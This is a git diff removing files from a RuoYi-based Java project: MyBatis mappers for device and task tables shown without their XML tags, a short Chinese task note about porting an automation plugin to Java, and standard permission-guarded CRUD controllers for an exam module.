index 2c75e7f..0000000 --- a/luqj-ec/src/main/resources/mapper/ec/EcDeviceStatusMapper.xml +++ /dev/null @@ -1,86 +0,0 @@ - - - - - - - - - - - - - - - - - - select id, device_id, battery, network_type, cpu_usage, memory_usage, screen_on, created_at, updated_at from ec_device_status - - - - - - - - insert into ec_device_status - - device_id, - battery, - network_type, - cpu_usage, - memory_usage, - screen_on, - created_at, - updated_at, - - - #{deviceId}, - #{battery}, - #{networkType}, - #{cpuUsage}, - #{memoryUsage}, - #{screenOn}, - #{createdAt}, - #{updatedAt}, - - - - - update ec_device_status - - device_id = #{deviceId}, - battery = #{battery}, - network_type = #{networkType}, - cpu_usage = #{cpuUsage}, - memory_usage = #{memoryUsage}, - screen_on = #{screenOn}, - created_at = #{createdAt}, - updated_at = #{updatedAt}, - - where id = #{id} - - - - delete from ec_device_status where id = #{id} - - - - delete from ec_device_status where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-ec/src/main/resources/mapper/ec/EcTaskCommandMapper.xml b/luqj-ec/src/main/resources/mapper/ec/EcTaskCommandMapper.xml deleted file mode 100644 index 620c39c..0000000 --- a/luqj-ec/src/main/resources/mapper/ec/EcTaskCommandMapper.xml +++ /dev/null @@ -1,69 +0,0 @@ - - - - - - - - - - - - - - select id, task_id, step_order, command_type, command_content from ec_task_command - - - - - - - - insert into ec_task_command - - task_id, - step_order, - command_type, - command_content, - - - #{taskId}, - #{stepOrder}, - #{commandType}, - #{commandContent}, - - - - - update ec_task_command - - task_id = #{taskId}, - step_order = #{stepOrder}, - command_type = #{commandType}, - command_content = #{commandContent}, - - where id = #{id} - - - - delete from ec_task_command where id = #{id} - - - - delete from ec_task_command where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-ec/src/main/resources/mapper/ec/EcTaskDeviceMapper.xml b/luqj-ec/src/main/resources/mapper/ec/EcTaskDeviceMapper.xml deleted file mode 100644 index 6c16f9c..0000000 --- a/luqj-ec/src/main/resources/mapper/ec/EcTaskDeviceMapper.xml +++ /dev/null @@ -1,70 +0,0 @@ - - - - - - - - - - - - - - select id, task_id, device_id, status, updated_at from ec_task_device - - - - - - - - insert into ec_task_device - - task_id, - device_id, - status, - updated_at, - - - #{taskId}, - #{deviceId}, - #{status}, - #{updatedAt}, - - - - - update ec_task_device - - task_id = #{taskId}, - device_id = #{deviceId}, - status = #{status}, - updated_at = #{updatedAt}, - - where id = #{id} - - - - delete from ec_task_device where id = #{id} - - - - delete from ec_task_device where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-ec/task-1.md b/luqj-ec/task-1.md deleted file mode 100644 index 6981c16..0000000 --- a/luqj-ec/task-1.md +++ /dev/null @@ -1,2 +0,0 @@ -1. demo/obj.cs是大漠插件的c#语言实现,请把他改成java语言实现,使用jacob方案实现,实现的测试代码在luqj-damo下面的JacobDemo.java -把生成的文件放在luqj-damo/src/main/java/com/luqj/damo/obj/目录下 \ No newline at end of file diff --git a/luqj-exam/pom.xml b/luqj-exam/pom.xml deleted file mode 100644 index 0a5f73a..0000000 --- a/luqj-exam/pom.xml +++ /dev/null @@ -1,41 +0,0 @@ - - - - ruoyi - com.ruoyi - 3.4.0 - - 4.0.0 - - luqj-exam - - - - - com.ruoyi - ruoyi-common - - - com.baomidou - mybatis-plus-extension - 3.4.0 - - - com.ruoyi - ruoyi-system - - - com.ruoyi - luqj-gis - 3.4.0 - - - com.ruoyi - luqj-common - 3.4.0 - - - - \ No newline at end of file diff --git a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamPaperController.java b/luqj-exam/src/main/java/com/luqj/exam/controller/ExamPaperController.java deleted file mode 100644 index 81dd7bd..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamPaperController.java +++ /dev/null @@ -1,104 +0,0 @@ -package com.luqj.exam.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.exam.domain.ExamPaper; -import com.luqj.exam.service.IExamPaperService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 试卷Controller - * - * @author ruoyi - * @date 2021-08-09 - */ -@RestController -@RequestMapping("/exam/paper") -public class ExamPaperController extends BaseController -{ - @Autowired - private IExamPaperService examPaperService; - - /** - * 查询试卷列表 - */ - @PreAuthorize("@ss.hasPermi('exam:paper:list')") - @GetMapping("/list") - public TableDataInfo list(ExamPaper examPaper) - { - startPage(); - List list = examPaperService.selectExamPaperList(examPaper); - return getDataTable(list); - } - - /** - * 导出试卷列表 - */ - @PreAuthorize("@ss.hasPermi('exam:paper:export')") - @Log(title = "试卷", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(ExamPaper examPaper) - { - List list = examPaperService.selectExamPaperList(examPaper); - ExcelUtil util = new ExcelUtil(ExamPaper.class); - return util.exportExcel(list, "paper"); - } - - /** - * 获取试卷详细信息 - */ - @PreAuthorize("@ss.hasPermi('exam:paper:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(examPaperService.selectExamPaperById(id)); - } - - /** - * 新增试卷 - */ - @PreAuthorize("@ss.hasPermi('exam:paper:add')") - @Log(title = "试卷", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody ExamPaper examPaper) - { - examPaper.setStatus(1); - return toAjax(examPaperService.insertExamPaper(examPaper)); - } - - /** - * 修改试卷 - */ - @PreAuthorize("@ss.hasPermi('exam:paper:edit')") - @Log(title = "试卷", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody ExamPaper examPaper) - { - return toAjax(examPaperService.updateExamPaper(examPaper)); - } - - /** - * 删除试卷 - */ - @PreAuthorize("@ss.hasPermi('exam:paper:remove')") - @Log(title = "试卷", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(examPaperService.deleteExamPaperByIds(ids)); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamPaperItemController.java b/luqj-exam/src/main/java/com/luqj/exam/controller/ExamPaperItemController.java deleted file mode 100644 index 0c98575..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamPaperItemController.java +++ /dev/null @@ -1,100 +0,0 @@ -package com.luqj.exam.controller; - -import com.luqj.exam.domain.ChooiseQustion; -import com.luqj.exam.domain.ChooiseSearch; -import com.luqj.exam.domain.ExamPaperItem; -import com.luqj.exam.service.IExamPaperItemService; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.core.page.TableDataInfo; -import com.ruoyi.common.enums.BusinessType; -import com.ruoyi.common.utils.poi.ExcelUtil; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 试卷明细Controller - * - * @author ruoyi - * @date 2021-07-23 - */ -@RestController -@RequestMapping("/exam/item") -public class ExamPaperItemController extends BaseController { - @Autowired - private IExamPaperItemService examPaperItemService; - - /** - * 查询试卷明细列表 - */ - @PreAuthorize("@ss.hasPermi('exam:item:list')") - @GetMapping("/list") - public TableDataInfo list(ExamPaperItem examPaperItem) { - startPage(); - List list = examPaperItemService.selectExamPaperItemList(examPaperItem); - examPaperItemService.additionalInfo(list); - return getDataTable(list); - } - - /** - * 导出试卷明细列表 - */ - @PreAuthorize("@ss.hasPermi('exam:item:export')") - @Log(title = "试卷明细", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(ExamPaperItem examPaperItem) { - List list = examPaperItemService.selectExamPaperItemList(examPaperItem); - ExcelUtil util = new ExcelUtil(ExamPaperItem.class); - return util.exportExcel(list, "item"); - } - - /** - * 获取试卷明细详细信息 - */ - @PreAuthorize("@ss.hasPermi('exam:item:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) { - return AjaxResult.success(examPaperItemService.selectExamPaperItemById(id)); - } - - /** - * 新增试卷明细 - */ - @PreAuthorize("@ss.hasPermi('exam:item:add')") - @Log(title = "试卷明细", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody ExamPaperItem examPaperItem) { - return toAjax(examPaperItemService.insertExamPaperItem(examPaperItem)); - } - - /** - * 修改试卷明细 - */ - @PreAuthorize("@ss.hasPermi('exam:item:edit')") - @Log(title = "试卷明细", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody ExamPaperItem examPaperItem) { - return toAjax(examPaperItemService.updateExamPaperItem(examPaperItem)); - } - - /** - * 删除试卷明细 - */ - @PreAuthorize("@ss.hasPermi('exam:item:remove')") - @Log(title = "试卷明细", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) { - return toAjax(examPaperItemService.deleteExamPaperItemByIds(ids)); - } - - @PreAuthorize("@ss.hasPermi('exam:item:chooise-list')") - @GetMapping("/chooise-list") - public List chooiseList(ChooiseSearch search) { - List list = examPaperItemService.chooiseList(search); - return list; - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamPaperModuleController.java b/luqj-exam/src/main/java/com/luqj/exam/controller/ExamPaperModuleController.java deleted file mode 100644 index 5e7fc38..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamPaperModuleController.java +++ /dev/null @@ -1,126 +0,0 @@ -package com.luqj.exam.controller; - -import java.util.List; - -import com.luqj.exam.domain.ReqAddQuestionDTO; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.exam.domain.ExamPaperModule; -import com.luqj.exam.service.IExamPaperModuleService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 试卷模块Controller - * - * @author ruoyi - * @date 2021-08-10 - */ -@RestController -@RequestMapping("/exam/module") -public class ExamPaperModuleController extends BaseController -{ - @Autowired - private IExamPaperModuleService examPaperModuleService; - - /** - * 查询试卷模块列表 - */ - @PreAuthorize("@ss.hasPermi('exam:module:list')") - @GetMapping("/list") - public TableDataInfo list(ExamPaperModule examPaperModule) - { - startPage(); - List list = examPaperModuleService.selectExamPaperModuleList(examPaperModule); - return getDataTable(list); - } - - /** - * 导出试卷模块列表 - */ - @PreAuthorize("@ss.hasPermi('exam:module:export')") - @Log(title = "试卷模块", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(ExamPaperModule examPaperModule) - { - List list = examPaperModuleService.selectExamPaperModuleList(examPaperModule); - ExcelUtil util = new ExcelUtil(ExamPaperModule.class); - return util.exportExcel(list, "module"); - } - - /** - * 获取试卷模块详细信息 - */ - @PreAuthorize("@ss.hasPermi('exam:module:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(examPaperModuleService.selectExamPaperModuleById(id)); - } - - /** - * 新增试卷模块 - */ - @PreAuthorize("@ss.hasPermi('exam:module:add')") - @Log(title = "试卷模块", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody ExamPaperModule examPaperModule) - { - return toAjax(examPaperModuleService.insertExamPaperModule(examPaperModule)); - } - - /** - * 修改试卷模块 - */ - @PreAuthorize("@ss.hasPermi('exam:module:edit')") - @Log(title = "试卷模块", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody ExamPaperModule examPaperModule) - { - return toAjax(examPaperModuleService.updateExamPaperModule(examPaperModule)); - } - - /** - * 删除试卷模块 - */ - @PreAuthorize("@ss.hasPermi('exam:module:remove')") - @Log(title = "试卷模块", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(examPaperModuleService.deleteExamPaperModuleByIds(ids)); - } - - /** - * 新增试卷模块 - */ - @PreAuthorize("@ss.hasPermi('exam:module:add')") - @Log(title = "模块添加试题", businessType = BusinessType.INSERT) - @PostMapping("/add-question") - public AjaxResult addQuestion(@RequestBody ReqAddQuestionDTO reqAddQuestionDTO) - { - return toAjax(examPaperModuleService.addQuestion(reqAddQuestionDTO.getModuleId(),reqAddQuestionDTO.getQuestionIds())); - } - /** - * 新增试卷模块 - */ - @PreAuthorize("@ss.hasPermi('exam:module:add')") - @Log(title = "模块添加试题", businessType = BusinessType.INSERT) - @PostMapping("/remove-question") - public AjaxResult removeQuestion(@RequestBody ReqAddQuestionDTO reqAddQuestionDTO) - { - return toAjax(examPaperModuleService.removeQuestion(reqAddQuestionDTO.getModuleId(),reqAddQuestionDTO.getQuestionIds())); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamPaperStrategyController.java b/luqj-exam/src/main/java/com/luqj/exam/controller/ExamPaperStrategyController.java deleted file mode 100644 index 11cdf55..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamPaperStrategyController.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.luqj.exam.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.exam.domain.ExamPaperStrategy; -import com.luqj.exam.service.IExamPaperStrategyService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 试卷模板策略Controller - * - * @author ruoyi - * @date 2021-07-29 - */ -@RestController -@RequestMapping("/exam/strategy") -public class ExamPaperStrategyController extends BaseController -{ - @Autowired - private IExamPaperStrategyService examPaperStrategyService; - - /** - * 查询试卷模板策略列表 - */ - @PreAuthorize("@ss.hasPermi('exam:strategy:list')") - @GetMapping("/list") - public TableDataInfo list(ExamPaperStrategy examPaperStrategy) - { - startPage(); - List list = examPaperStrategyService.selectExamPaperStrategyList(examPaperStrategy); - return getDataTable(list); - } - - /** - * 导出试卷模板策略列表 - */ - @PreAuthorize("@ss.hasPermi('exam:strategy:export')") - @Log(title = "试卷模板策略", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(ExamPaperStrategy examPaperStrategy) - { - List list = examPaperStrategyService.selectExamPaperStrategyList(examPaperStrategy); - ExcelUtil util = new ExcelUtil(ExamPaperStrategy.class); - return util.exportExcel(list, "strategy"); - } - - /** - * 获取试卷模板策略详细信息 - */ - @PreAuthorize("@ss.hasPermi('exam:strategy:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(examPaperStrategyService.selectExamPaperStrategyById(id)); - } - - /** - * 新增试卷模板策略 - */ - @PreAuthorize("@ss.hasPermi('exam:strategy:add')") - @Log(title = "试卷模板策略", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody ExamPaperStrategy examPaperStrategy) - { - return toAjax(examPaperStrategyService.insertExamPaperStrategy(examPaperStrategy)); - } - - /** - * 修改试卷模板策略 - */ - @PreAuthorize("@ss.hasPermi('exam:strategy:edit')") - @Log(title = "试卷模板策略", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody ExamPaperStrategy examPaperStrategy) - { - return toAjax(examPaperStrategyService.updateExamPaperStrategy(examPaperStrategy)); - } - - /** - * 删除试卷模板策略 - */ - @PreAuthorize("@ss.hasPermi('exam:strategy:remove')") - @Log(title = "试卷模板策略", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(examPaperStrategyService.deleteExamPaperStrategyByIds(ids)); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamPaperStrategyListController.java b/luqj-exam/src/main/java/com/luqj/exam/controller/ExamPaperStrategyListController.java deleted file mode 100644 index 887cd33..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamPaperStrategyListController.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.luqj.exam.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.exam.domain.ExamPaperStrategyList; -import com.luqj.exam.service.IExamPaperStrategyListService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 策略子Controller - * - * @author ruoyi - * @date 2021-07-23 - */ -@RestController -@RequestMapping("/exam/list") -public class ExamPaperStrategyListController extends BaseController -{ - @Autowired - private IExamPaperStrategyListService examPaperStrategyListService; - - /** - * 查询策略子列表 - */ - @PreAuthorize("@ss.hasPermi('exam:list:list')") - @GetMapping("/list") - public TableDataInfo list(ExamPaperStrategyList examPaperStrategyList) - { - startPage(); - List list = examPaperStrategyListService.selectExamPaperStrategyListList(examPaperStrategyList); - return getDataTable(list); - } - - /** - * 导出策略子列表 - */ - @PreAuthorize("@ss.hasPermi('exam:list:export')") - @Log(title = "策略子", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(ExamPaperStrategyList examPaperStrategyList) - { - List list = examPaperStrategyListService.selectExamPaperStrategyListList(examPaperStrategyList); - ExcelUtil util = new ExcelUtil(ExamPaperStrategyList.class); - return util.exportExcel(list, "list"); - } - - /** - * 获取策略子详细信息 - */ - @PreAuthorize("@ss.hasPermi('exam:list:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(examPaperStrategyListService.selectExamPaperStrategyListById(id)); - } - - /** - * 新增策略子 - */ - @PreAuthorize("@ss.hasPermi('exam:list:add')") - @Log(title = "策略子", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody ExamPaperStrategyList examPaperStrategyList) - { - return toAjax(examPaperStrategyListService.insertExamPaperStrategyList(examPaperStrategyList)); - } - - /** - * 修改策略子 - */ - @PreAuthorize("@ss.hasPermi('exam:list:edit')") - @Log(title = "策略子", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody ExamPaperStrategyList examPaperStrategyList) - { - return toAjax(examPaperStrategyListService.updateExamPaperStrategyList(examPaperStrategyList)); - } - - /** - * 删除策略子 - */ - @PreAuthorize("@ss.hasPermi('exam:list:remove')") - @Log(title = "策略子", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(examPaperStrategyListService.deleteExamPaperStrategyListByIds(ids)); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamQuestionController.java b/luqj-exam/src/main/java/com/luqj/exam/controller/ExamQuestionController.java deleted file mode 100644 index f0b3ad8..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamQuestionController.java +++ /dev/null @@ -1,104 +0,0 @@ -package com.luqj.exam.controller; - -import java.util.Date; -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.exam.domain.ExamQuestion; -import com.luqj.exam.service.IExamQuestionService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 题库Controller - * - * @author ruoyi - * @date 2021-07-23 - */ -@RestController -@RequestMapping("/exam/question") -public class ExamQuestionController extends BaseController -{ - @Autowired - private IExamQuestionService examQuestionService; - - /** - * 查询题库列表 - */ - @PreAuthorize("@ss.hasPermi('exam:question:list')") - @GetMapping("/list") - public TableDataInfo list(ExamQuestion examQuestion) - { - startPage(); - List list = examQuestionService.selectExamQuestionList(examQuestion); - return getDataTable(list); - } - - /** - * 导出题库列表 - */ - @PreAuthorize("@ss.hasPermi('exam:question:export')") - @Log(title = "题库", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(ExamQuestion examQuestion) - { - List list = examQuestionService.selectExamQuestionList(examQuestion); - ExcelUtil util = new ExcelUtil(ExamQuestion.class); - return util.exportExcel(list, "question"); - } - - /** - * 获取题库详细信息 - */ - @PreAuthorize("@ss.hasPermi('exam:question:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(examQuestionService.selectExamQuestionById(id)); - } - - /** - * 新增题库 - */ - @PreAuthorize("@ss.hasPermi('exam:question:add')") - @Log(title = "题库", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody ExamQuestion examQuestion) - { - return toAjax(examQuestionService.insertExamQuestion(examQuestion)); - } - - /** - * 修改题库 - */ - @PreAuthorize("@ss.hasPermi('exam:question:edit')") - @Log(title = "题库", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody ExamQuestion examQuestion) - { - return toAjax(examQuestionService.updateExamQuestion(examQuestion)); - } - - /** - * 删除题库 - */ - @PreAuthorize("@ss.hasPermi('exam:question:remove')") - @Log(title = "题库", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(examQuestionService.deleteExamQuestionByIds(ids)); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamQuestionCorrectionController.java b/luqj-exam/src/main/java/com/luqj/exam/controller/ExamQuestionCorrectionController.java deleted file mode 100644 index 756a160..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamQuestionCorrectionController.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.luqj.exam.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.exam.domain.ExamQuestionCorrection; -import com.luqj.exam.service.IExamQuestionCorrectionService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 题目纠错Controller - * - * @author ruoyi - * @date 2021-07-23 - */ -@RestController -@RequestMapping("/exam/correction") -public class ExamQuestionCorrectionController extends BaseController -{ - @Autowired - private IExamQuestionCorrectionService examQuestionCorrectionService; - - /** - * 查询题目纠错列表 - */ - @PreAuthorize("@ss.hasPermi('exam:correction:list')") - @GetMapping("/list") - public TableDataInfo list(ExamQuestionCorrection examQuestionCorrection) - { - startPage(); - List list = examQuestionCorrectionService.selectExamQuestionCorrectionList(examQuestionCorrection); - return getDataTable(list); - } - - /** - * 导出题目纠错列表 - */ - @PreAuthorize("@ss.hasPermi('exam:correction:export')") - @Log(title = "题目纠错", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(ExamQuestionCorrection examQuestionCorrection) - { - List list = examQuestionCorrectionService.selectExamQuestionCorrectionList(examQuestionCorrection); - ExcelUtil util = new ExcelUtil(ExamQuestionCorrection.class); - return util.exportExcel(list, "correction"); - } - - /** - * 获取题目纠错详细信息 - */ - @PreAuthorize("@ss.hasPermi('exam:correction:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(examQuestionCorrectionService.selectExamQuestionCorrectionById(id)); - } - - /** - * 新增题目纠错 - */ - @PreAuthorize("@ss.hasPermi('exam:correction:add')") - @Log(title = "题目纠错", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody ExamQuestionCorrection examQuestionCorrection) - { - return toAjax(examQuestionCorrectionService.insertExamQuestionCorrection(examQuestionCorrection)); - } - - /** - * 修改题目纠错 - */ - @PreAuthorize("@ss.hasPermi('exam:correction:edit')") - @Log(title = "题目纠错", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody ExamQuestionCorrection examQuestionCorrection) - { - return toAjax(examQuestionCorrectionService.updateExamQuestionCorrection(examQuestionCorrection)); - } - - /** - * 删除题目纠错 - */ - @PreAuthorize("@ss.hasPermi('exam:correction:remove')") - @Log(title = "题目纠错", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(examQuestionCorrectionService.deleteExamQuestionCorrectionByIds(ids)); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamQuestionFavoriteController.java b/luqj-exam/src/main/java/com/luqj/exam/controller/ExamQuestionFavoriteController.java deleted file mode 100644 index 47ed212..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/controller/ExamQuestionFavoriteController.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.luqj.exam.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.exam.domain.ExamQuestionFavorite; -import com.luqj.exam.service.IExamQuestionFavoriteService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 题目收藏Controller - * - * @author ruoyi - * @date 2021-07-23 - */ -@RestController -@RequestMapping("/exam/favorite") -public class ExamQuestionFavoriteController extends BaseController -{ - @Autowired - private IExamQuestionFavoriteService examQuestionFavoriteService; - - /** - * 查询题目收藏列表 - */ - @PreAuthorize("@ss.hasPermi('exam:favorite:list')") - @GetMapping("/list") - public TableDataInfo list(ExamQuestionFavorite examQuestionFavorite) - { - startPage(); - List list = examQuestionFavoriteService.selectExamQuestionFavoriteList(examQuestionFavorite); - return getDataTable(list); - } - - /** - * 导出题目收藏列表 - */ - @PreAuthorize("@ss.hasPermi('exam:favorite:export')") - @Log(title = "题目收藏", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(ExamQuestionFavorite examQuestionFavorite) - { - List list = examQuestionFavoriteService.selectExamQuestionFavoriteList(examQuestionFavorite); - ExcelUtil util = new ExcelUtil(ExamQuestionFavorite.class); - return util.exportExcel(list, "favorite"); - } - - /** - * 获取题目收藏详细信息 - */ - @PreAuthorize("@ss.hasPermi('exam:favorite:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(examQuestionFavoriteService.selectExamQuestionFavoriteById(id)); - } - - /** 